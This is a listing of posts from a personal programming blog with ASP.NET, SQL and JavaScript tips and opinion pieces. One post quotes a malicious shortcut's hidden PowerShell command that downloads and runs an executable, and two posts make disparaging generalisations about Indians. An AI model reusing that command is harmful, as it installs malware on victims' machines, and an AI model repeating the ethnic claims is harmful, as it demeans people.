ASP.NET MVC AJAX request returns an Internal Server Error (FIX)

Usually you get this error if you have the data misspelled e.g. say that your ActionResult expects a param named userid while you are sending user (without id)

[HttpPost]
public ActionResult AddComment(string productid, string userid, string comment){
  // add the new comment and return Json response
}
$(".btn-comment").click(function(){
 
            var data = {};
            data.productid = @ViewBag.ProductID;
            data.user = @ViewBag.UserID;
            data.comment = $('#CommentText').val();
 
            $.ajax({
                url: '/Product/AddComment',
                type: "POST",
                contentType: "application/json; charset=utf-8",
                dataType: "json",
                data: JSON.stringify(data),
                success: function (result) {
                    alert("The new comment '" + result.comment + "' has been added successfully!");
                },
                error: function (status, ex) {
                    alert("Error Code: Status: " + status.statusText + " Ex: " + ex);
                }
            });
 
        });

meaning it is expecting data.userid and you send data.user :(

As you guess just change the data.user to data.userid and it will work as expected.

HTH

Read More

Manipulate a local variable in ASP.NET MVC using the Razor Syntax

Say that you want to print all products in logical order e.g.
Product #1: Product 1 Name
Product #2: Product 2 Name
Product #3: Product 3 Name
etc.

Usually you use a for loop to do that:

@for (int i = 0; i < Model.Count; i++)
{ 
       <p>Product #@i: @Model[i].Products.ProductName</p>
}

Result:
Product #0: Product 1 Name
Product #1: Product 2 Name
Product #2: Product 3 Name
etc.
As you figure you need to increase the i for 1 but you can’t just say @i + 1 as it will print 0 + 1, 1 + 1, 2 + 1 etc.

Instead you put all that in brackets e.g.

@for (int i = 0; i < Model.Count; i++)
{ 
       <p>Product #@(i + 1): @Model[i].Products.ProductName</p>
}

Read More

Print doesn’t work in IE – FIX

As you can see, the window’s print() method does not work in IE (Internet Explorer) though it works just fine in all other major browsers.

Well if you want to make it prints in IE you should call the document’s close() method previously as well as the focus() e.g.

window.document.close();
window.focus();
window.print();
window.close(); // if you want to close the window

HTH

Read More

Turn html link(s) into plain text using JavaScript

Say that you have an “a” element that you need to replace with its anchor text:

My blog: www.aspneter.com

Actually let’s see how you can turn all links into plain text:

var links = document.getElementsByTagName("a");
for (var i = 0; i &lt; links.length; i++) {
var link = links[i];
var text = link.innerHTML;
link.outerHTML = text;
}

After this your link will look like the following:

My blog: www.aspneter.com

Read More

Retrieve data contained in a comma-delimited list of values – Warning!

Say that you have a comma-separated String containing user ID’s like following:

String userIDs = "1,2,5,8,23,67,101";

and that you want to fetch those users without splitting and looping their ID’s.

Usually you do use CharIndex to search the expression:

command.CommandText = 
    "SELECT * FROM Users WHERE  CharIndex(CAST(userID AS varchar(8)) + ',', + @userIDs) > 0";
command.Parameters.AddWithValue("@userIDs", userIDs);

However if you execute the above query the last ID will be omitted YEAH it will be indeed because it checks against value + comma which does not match when it comes to 101.

FIX… add the missing comma to the end of the string:

command.Parameters.AddWithValue("@userIDs", userIDs + ",");

Hope this helps someone!

Read More

Filter Membership.GetAllUsers() in ASP.NET using Linq

Say that you want to retrieve only the Admin Users avoiding Regular Users:

UsersGrid.DataSource = 
      Membership.GetAllUsers().Cast<MembershipUser>()
     .Where(a => Roles.GetRolesForUser(a.UserName)[0] != "Regular User").ToList();

Or say you want to retrieve only the online users:

UsersGrid.DataSource =
     Membership.GetAllUsers().Cast<MembershipUser>()
    .Where(a => a.IsOnline)
    .OrderBy(a => a.LastLoginDate).ToList();

Read More

Make a Comma Delimited String out of Multiple Database Records

Say that i want to get the user’s skills concatenating multiple rows into a single row/string
Usually you read all the records and then add comma in your C#.NET code.
This is an example how to add the commas in the T-SQL code:

SqlCommand skillscommand = connection.CreateCommand();
skillscommand.CommandText = @"
  DECLARE @Skills VARCHAR(512);
  SELECT @Skills = COALESCE(@Skills+',' ,'') + CAST(applicantSkillSetID AS VARCHAR(8))
  FROM ApplicantSkills WHERE applicantID = @applicantID;
  SELECT @Skills;";
skillscommand.Parameters.AddWithValue("@applicantID", applicantID);
SqlDataReader skillsreader = skillscommand.ExecuteReader();
while (skillsreader.Read())
{
   Skills = skillsreader.GetString(0);
}
reader.Close();
skillscommand.Dispose();

Voila!

Read More

Virus Llorter3.exe – DLL.exe

Today i was asked to check if the shortcut named index is possibly encrypted and i caught the above mentioned virus. Meaning i write this in order to help at least someone to not make the same mistake lol
Btw this is the command that you execute if you click the f***ing shortcut:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden
(New-Object System.Net.WebClient).DownloadFile('http://goo.gl/tW5qJj', $env:APPDATA + '\dll.exe');
$val = $env:APPDATA+'\dll.exe';Start-Process $val;Start-Process 'dashboard.html';

Read More

Народот си е паметен?

Индоктринација
Дали сеуште мислиш дека народот си е паметен?
– ако сеуште размислуваш така, тогаш заслушуваш да ти стане тој “граѓанинот” и да ти врзе едно 5-6 јаки шамари пред камери.

Заклучок: тоа што некој (Миленко, Јанко, Мирка, Латас итн.) цело време ти кажува (те убедува) дека си многу мудар и паметен се вика индоктринација, а се употребува исклучиво за политички цели за да се наметне и всади определено сваќање, верување, идеја и начин на однесување.

Мирен сон!

Read More

CSS3 and jQuery single page transitions – remove control permanently

Using the latest CSS transitions and target property you can create an awesome transition effects.
However it could be little tricky sometimes especially if you have an intro page where you expect the visitors to click the Enter button.
Click here to see an example

In this situation you want to hide the green button so that button is not visible when the transitions happen.
With jQuery you can easily hide the button and animation using remove() method.

btn.remove();
video.remove();

But what if your visitor hits the refresh button? Exactly. It will postback your page causing the html to get served again. Meaning your button will be visible again.

Well you could use cookies and stuff to avoid that but let’s see if there is an easier solution. What if you simply check the hash tag against empty string ”

if (window.location.hash != '') {
    video.remove();
    btn.remove();
}

Voila! Just put that within jQuery’s ready and you have the issue fixed successfully!

$(document).ready(function (e) {
    if (window.location.hash != '') {
        video.remove();
        btn.remove();
    }
});

Read More

HAXM cannot be installed (RESOLVED)

If you get the following error when you install Intel HAXM, please follow the steps bellow to resolve the issue:

This computer does not support Intel Virtualization Technology (VT-x). HAXM cannot be installed. Please refer to the Intel HAXM documentation for more information.

First open your Control Panel and click the item “Programs and Features“.
Then click on Turn Windows Features on or off. When the “Windows Features” dialog opens, just uncheck Hyper-V and restart your system. Voila!

Obviously you have Windows 8/8.1 with Hyper-v installed and as you guess you cannot do Windows Phone development alongside Android development on the same machine since you need Hyper-V for the Android emulators as well :(

Read More

LINQ to XML Descendants operator

<?xml version="1.0" encoding="utf-8"?>
<dispositionmessage>
  <fileheader>
    <filenumber>123456</filenumber>
    <filedate>2015-03-07</filedate>
    <filetime>10:20:42Z</filetime>
  </fileheader>
  <messagebody>
    <eventDateTime>2015-04-07T10:49:45.000Z</eventDateTime>
    <eventTimeZoneOffset>00:00</eventTimeZoneOffset>
    <serials>
      <serial>001122330123</serial>
      <serial>001122330124</serial>
      <serial>001122330125</serial>
      <serial>001122330126</serial>
      <serial>001122330127</serial>
      <serial>001122330128</serial>
      <serial>001122330129</serial>
      <serial>001122330130</serial>
      <serial>001122330131</serial>
      <serial>001122330132</serial>
    </serials>
  </messagebody>
</dispositionmessage>

Say we need to retrieve a list of all serials in this XML file. Usually we do it like following using the Elements operator:

IEnumerable<XElement> serials = 
    doc.Root.Element("messagebody").Element("serials").Elements("serial");

Unlike the Elements operator which returns only the immediate child elements of each element in the source sequence of elements, the Descendants operator recursively returns all child elements until the end of each tree is reached. Thus we can simplify the above code to the following:

IEnumerable<XElement> serials = doc.Descendants("serial");

As you see it can be called on a sequence of elements or documents and returns a sequence of elements containing each source element’s or document’s descendant elements.

Read More

Always show up the errors (if any)

Error Message
Error Message
A few days ago i was hired by a client. I needed to debug a point of sale application (WinForms by the way) written in Visual Basic .NET
Beside the missing documentation and poor OOP implementation (what else you can expect from the Indians) i noticed something totally weird.

Namely instead of displaying the error message if an exception is thrown, the code just stores it into the database pretending that nothing happened.

catch(Exception ex){
    ErrorLog.Save(ex);
    // the user is as you see NOT aware of the exception 
    // so he/she continues to work...
}

Doesn’t take long to figure what could happen…

NOTE: you can use all those advanced errors handling techniques but you should never ever forget to warn the user if something is not working properly!!!

Read More

Renaming SQL Server database – Error: 5030 (Solution)

I am sure you wonder why for God’s sake you cannot rename that database but rather you get an error:
The database could not be exclusively locked to perform the operation. (Microsoft SQL Server, Error: 5030)

Well usually you get this error because someone else is using the database having active connection(s) to it.

To resolve the issue you should set the database to Single user mode and then rename it. After that you set it back to Multi user mode. Voila!

USE [master];
GO
 
ALTER DATABASE Your_Database_Name SET SINGLE_USER WITH ROLLBACK IMMEDIATE;
GO
EXEC sp_renamedb N'Your_Database_Name', N'Your_Database_Name_Renamed';
 
ALTER DATABASE Your_Database_Name_Renamed SET MULTI_USER WITH ROLLBACK IMMEDIATE;

Read More

RadAjaxManagerProxy Alert method!

So you don’t have any idea where to find the “alert” method of the RadAjaxManagerProxy, right? Guess what, neither did i. I was clueless, literally.
I tried everything that i could think of. In addition the intellisense was not helpful at all.
But good news. It’s certainly easier than you probably thought.
Simply the AjaxManager Proxy is not planned to work that way.
Rather you need to cast your AjaxManager from the Master page and then call its alert method. Voila!

RadAjaxManager mgr = 
(RadAjaxManager)this.Master.FindControl("RadAjaxManager1") as RadAjaxManager;
// show up the alert msg
mgr.Alert("Your message here!");

Read More

Google Chrome didn’t shut down correctly – Issue and Fix

In my case it turned out to be a Google Hangouts related issue.
Namely, if i quit the Hangouts first and then close the Chrome browser i don’t get this error when i start my PC next time.

However if i close Chrome without quitting Hangouts i get that error which is “Google Chrome didn’t shut down correctly”.

Solution: quit hangouts prior closing your Chrome browser and you will not get this odd error message.

Read More

Does BitCoin have a bright future?

bitcoin currency
bitcoin currency
No doubt that Bitcoin is a revolutionary invention because it allows you to be a bank for yourself.

Meaning NO banks or government affiliation and therefore no commissions, no foreign transaction fees and no fraud risk. In addition, no stolen card, no identity theft violation etc. etc.

But, even though Bitcoin is probably the best form of money I’ve ever seen I am afraid that governments will never accept it as a payment method because of the banks that control them.

So , they will keep using the Bitcoin’s affordances, e.g. money-laundering to justify their hostility, but in fact it’s because they don’t want a currency which can’t be used for political order.

My $0.02

Read More

Formalism (Формализам)

English:

When I look back on the years (12+) I spent on programming I cannot but think that i was totally right when i decided not to follow the “expert’s advice” and use all those tools for massive class hierarchy. Rather I stayed away relying on my intuition. Today I am very proud of myself because of that.

By the way, I am not saying that those tools are generally bad, but they were all propagated by people who were poor programmers looking for an excuse to avoid writing code.

They are the same “experts” who spent years on introducing formalism in form of UML, Extreme Programming, Patterns and other pseudo-engineering tools.

 

Macedonian:

После 12 години активно програмирање можам да заклучам дека сум презадоволен од фактот што си ја послушав мојата интуиција, наместо да ги пратам тогашните сугестии од еден куп т.н. стручњаци, кои заговараа најразлични пристапи и масивни програмерски хиерархии.

Да нема забуни, се сложувам дека сите тие методи имаат и свои добри особини, но сепак проблемот е што сите тие беа (за жал) иновирани од лоши програмери кои бараа изговор за да го избегнат програмирањето (пишување код).

Тое се истити оние кои залудно потрошија години и години пропагирајки формализам во форма на UML, Extreme Programming, Patterns и други псеудо програмирачки алатки.

Толку за тоа.

Read More

T-SQL Get a List of columns of certain Data Type

Not sure if this could help someone but today i needed to grab all the real datatype columns and put into an array.
It would not be a problem if my table does not have more than 800 columns. Anyway this is what i did:

SELECT 
	'"' + COLUMN_NAME + '",'
FROM 
	INFORMATION_SCHEMA.COLUMNS
WHERE 
	DATA_TYPE = 'real'
AND
	TABLE_NAME = 'MyTable'

Then you just copy/paste the result within your array e.g.

private string[] = new string[]{ // results copied here };

Read More

How to get the ASP.NET page name from the URL

I could come with say few more ways but today i will post only the most frequently used methods

VB.NET

' method #1
Private Function PageName() As String
    Return Path.GetFileName(Page.Request.Url.AbsolutePath).ToLower
End Function
 
' method #2
Private Function PageName() As String
     Return New FileInfo(Request.Url.AbsolutePath).Name.ToLower
End Function
 
' method #3
Private Function PageName() As String
        Dim abspath As String = Request.Url.AbsolutePath
        Return abspath.Substring(abspath.LastIndexOf("/") + 1, _
               abspath.Length - (abspath.LastIndexOf("/") + 1)).ToLower
End Function

C#.NET

// method #1
private string PageName()
{
	return Path.GetFileName(Page.Request.Url.AbsolutePath).ToLower();
}
 
// method #2
private string PageName()
{
	return new FileInfo(Request.Url.AbsolutePath).Name.ToLower();
}
 
// method #3
private string PageName()
{
	string abspath = Request.Url.AbsolutePath;
	return abspath.Substring(abspath.LastIndexOf("/") + 1, 
               abspath.Length - (abspath.LastIndexOf("/") + 1)).ToLower();
}

Read More

How to install SqlMembershipProvider Schema in your SQL Server instance

This is for the people who are used to install Membership, Roles etc. including all those tables, views, and stored procedures in the database from within the Visual Studio (earlier versions).

As it’s not supported anymore in the newer versions of your favorite IDE you need to do it in a different way.

Well you need to use a tool called aspnet_regsql.exe and can be found at %WINDIR%\Microsoft.Net\Framework\{YourNetVersion}

 

Just double-click the executable and then when the dialog appears follow the instructions … it’s a self-explanatory. Cheers

Read More

Freelancer crisis? An Open Letter to the Directors (Freelancer.com Review)

gafHello,

I can freely say that after you ruined the whole freelancer business (acquiring and merging the competition – scriplance, vworker etc. etc.) now we can do nothing but pray. In the meantime we can fight among ourselves.

We fight with the few bucks buyers. Then they complain, just because you allowed them to.
Then you fight back with us sending various warnings and threatening messages in a “your account will be suspended” manner.
I see your path guys, but i don’t know where it leads. Nowhere i guess …

A few days ago i noticed that actually you favor some freelancers over others. Yes you do. I have it recorded so you can see for yourself.

recommended
recommended

As you see you favor a guy whose Completion Rate is only 79% and is much lower than mine … plus i have 6.2 earnings while he has only 4.4

It just makes no sense to me … do you maybe have a reasonable explanation for this, except the one that it is system-generated and that is based on a user’s overall reputation?

Oh another thing that bothers me the most is your fee policy to charge a fee prior to getting paid. This is crazy as it happens that i win a $2000 project and if the employer does not pay me i end up stuck with a debt of $200. Yeah, nobody else does that anywhere.

In addition, in your struggle to surpass your competition (oDesk, ELance, Guru, Fivver, 99designs etc. ) you introduced tons of new but useless features and services that nobody needs (well not really).

Meaning, now you have a feature-rich website but you’ve got no quality projects which is a primary goal of your business. Isn’t it?

I beg you guys (freelancer CEO’s) to ask yourselves where you lead us and where you lead the whole business after all.
Do you guys have a clear picture of what your vision and values are?

I recall the time when freelancer.com was getafreelancer.com (GAF); the site was very basic (none of the current features).
gaf
However in that period i was using your website to win a project while now i am using it to argue with those 10 bucks idiots, who waste my time every day.
Well, there are some exceptions from time to time but it’s sporadic.

Please do something to save this business as there are thousands hardworking and dedicated individuals whose profession is freelancer.com.

Thank you

By the way do you think it’s time to do something with the Indians? I guarantee that there is no employer who has not been burned by the Indians. I believe that 95% of the Indians are scam, plaguing StackOverflow and such with questions BEGGING someone to does the work that they won on freelancer.com !!!

Important: The following is what happened to me just a few days ago. Well let me get this str8. Freelancer.com stole some money from me, literally. As you see if you get a $1000 project they get $100 for them (upfront as mentioned above in the text). However if you win a £666 project they will charge you $116.25 saying that it’s 10% while your £666.00 will be converted to only $1,049. Meaning either commission should be also $104.9 or when converted £666 should be $1,162.50 as fee should be 10% anyway.

21 Aug 2014 16:18 Credit from currency conversion from £665.93 (GBP) on rate: 1.575344 (USD) 1,049.07  1,833.01
21 Aug 2014 16:12 Debit from currency conversion into (GBP) from (USD) -116.25  783.94
21 Aug 2014 03:11 Done milestone payment from madduxsports for project Next Project for YUGOLANCER (USD) 1,000.00  900.19
20 Aug 2014 15:57 Project fee taken (Next Project for YUGOLANCER) (USD) -100.00  -99.81

Read More

FIX – Error CS0029: Cannot implicitly convert type string to System.Web.UI.WebControls.TextBox

It’s little weird but actually it’s very simple to reproduce the issue. Just set the ID property to “Title” and voila! You’ll get this specific error e.g. if you have a TextBox
< asp:TextBox ID="Title" runat="server" /> you will get the following error:

CS0029: Cannot implicitly convert type string to System.Web.UI.WebControls.TextBox

if it’s DropDownList it would be

CS0029: Cannot implicitly convert type string to System.Web.UI.WebControls.DropDownList

etc.

Meaning just change the ID to something else e.g. TitleBox and it will work fine.

Read More

Error: not all code paths return a value C# Fix

Usually you get this error if you’re missing a return statement, but not always!!
Sometimes you may have everything in place but keep getting the same error in your code. e.g.

public static string xmlpath
{
get
{
string result = string.Empty;
 
if (HttpContext.Current.Request.Url.PathAndQuery.ToLower().Contains("blah"))
{
result = "blah.xml";
}
else
{
result = "blah-blah.xml";
}
return result;
}
}

FIX: simply rebuild your project | right-click the project in the Solution Explorer and select Rebuild.

Read More

Visual Studio 2013 MySQL doesn’t appear as a data source – FIX

If you can’t see the MySQL in your Visual Studio or you get various errors when you try to e.g.  add a new DataTableAdapter for MySQL database etc. you should do the following:

1. Uninstall everything related to MySql (except the mysql server if any) meaning, connectors and such.

2. Download the latest  .NET connector and MySql For Visual Studio
Connector/NET: http://dev.mysql.com/downloads/connector/net/
MySQL for Visual Studio: http://dev.mysql.com/downloads/windows/visualstudio/

3. Restart your Visual Studio.

Voila!

MySQL - Data Source

Read More

Twice Born “Venuto al mondo” (2012)

Twice Born 2012
I just wanted to recommend you this brilliant movie :)

I watched it last night and i can say it blew me away.

I would not review the movie in details but if you are looking to watch a good movie then this is certainly one that you should not miss. Very good story and very good acting.

I particularly liked when the very next scene clarifies something that seemed totally different. Definitely my favorite movie for this year.

Cheers

Read More

I’ve built a new PC last night

It’s been for a while since i built my last PC. In the past i was building PC’s for my kids, friends and neighbors but there is more than 5 years since i haven’t messed with these things.

Well, yesterday i build a new workstation for myself and ladies and gentlemen, i can say that i built a beast of computer.

For the truth’s sake, i cannot stop wondering how powerful the new hardware became in the last few years. In the meantime i was mainly using my old ASUS laptop. Core 2 Duo btw lol.

Wow guys, the new i7 chip-set is a monster. The SSD thing is fast as hell. The fans are super, super quiet (more quieter than my laptop yeah they are) … everything is like a dream to me.

This is the list of components i used (they all work in a perfect harmony by the way):

1. Intel i7-4770 3.40GHz
2. Cooler Master Hyper 212 Evo
3. ASUS Gaming Series MAXIMUS VI HERO
4. HDD 1TB WesternDigital 7200rpm
5. SSD 120GB Samsung 840 EVO
6. ASUS GTX650TI-PH-1GD5
7. Kingstone 16GB (2 x 8) DDR3 2133MHz HyperX XMP Beast
8. Gigabyte Sumo Alpha case
9. CoolerMaster Silent Pro M II 520W 80plus bronze
10. SAMSUNG Internal DVD-RW H/H

I also bought a headset CAVIMANUS HS-G700V and guess what, it’s also amazing – highly recommended!!!

The only Con is the price. Not sure if you knew but building a PC in this way is way more expensive than a Laptop with the same hardware (plus laptop comes with monitor and everything).

Believe it or not i paid about $2k for these components. For the same price i could have bought the latest ASUS G750JX with i7 Haswell, GTX780 and SSD 250GB.

However laptop does not suit my needs and my desk space lol

Read More

FIX: Loading panel not showing for AjaxUpdatedControl

There are certain situations when the loading panel (RadAjaxLoadingPanel) is not showing up while your control is still Ajaxified (no page refresh) so everything seems to work except that loading panel effect is kind of invisible.

To fix this you should put the updated control inside e.g. Panel control e.g.

<asp:Panel id="AjaxPanel" runat="server">
   <telerik:RadGrid ....
</asp:Panel>

then change the AjaxSettings like the following:

<telerik:AjaxSetting AjaxControlID="RadGrid1">
   <UpdatedControls>
        <telerik:AjaxUpdatedControl ControlID="AjaxPanel" LoadingPanelID="DoctorsLoadingPanel" />
   </UpdatedControls>
</telerik:AjaxSetting>

also remember that you should never Ajaxify the whole e.g. ContentPlaceHolder in the master page !!!

HTH

Read More

Why you should never use the ‘Font Awesome’ for creating glyph’s and stuff!?

The font called FontAwesome is actually a very good font … good looking and everything but for some reasons it does not work in a Firefox browser.
I tried everything including paths fixing (an absolute path), adding www. upfront etc. etc but none of them worked for me. However it works fine in IE and Chrome :(
So either use another font or simply use some graphics instead. Cheers

Read More